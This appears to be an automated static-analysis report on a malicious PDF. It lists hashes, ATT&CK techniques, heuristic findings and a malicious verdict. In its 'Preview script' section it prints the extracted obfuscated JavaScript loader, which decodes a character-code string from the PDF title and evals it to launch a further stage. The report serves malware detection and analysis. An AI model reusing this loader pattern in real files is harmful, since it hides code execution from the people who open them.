Malicious PDF — malware analysis report

Static analysis result for SHA-256 137d6e1fa7424eca…

MALICIOUS

PDF

44.9 KB First seen: 2013-06-07
MD5: 04dae8d93a88a21a6ce39a0e11afc069 SHA-1: 31b9ecfab3d60a75a63af9626a867d4172292fc0 SHA-256: 137d6e1fa7424ecafeb33cc1c0bed07d882a2b66711dd761453c38d4bbd9554d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by heuristics as a loader. The script reconstructs a string by concatenating numeric character codes, ultimately forming a URL that likely serves a second-stage payload. The script's intent is to download and execute this payload, contributing to the malicious nature of the document.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB106 471 bytes
SHA-256: eaea09270229383792b39e37caa65958d120e84c510f647efbbbcbad9adeb247
Preview script
First 1,000 lines of the extracted script
qevb='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
ijm=e('ti'+'tle');
s=ijm.substr(t.length + 8,3)+'str';
q=ijm[s](1,(1,9));
swbot=e('S'+'tring.fro'+q);
q=ijm[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	wmdh = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	qevb += swbot(wmdh);
}
e(qevb);

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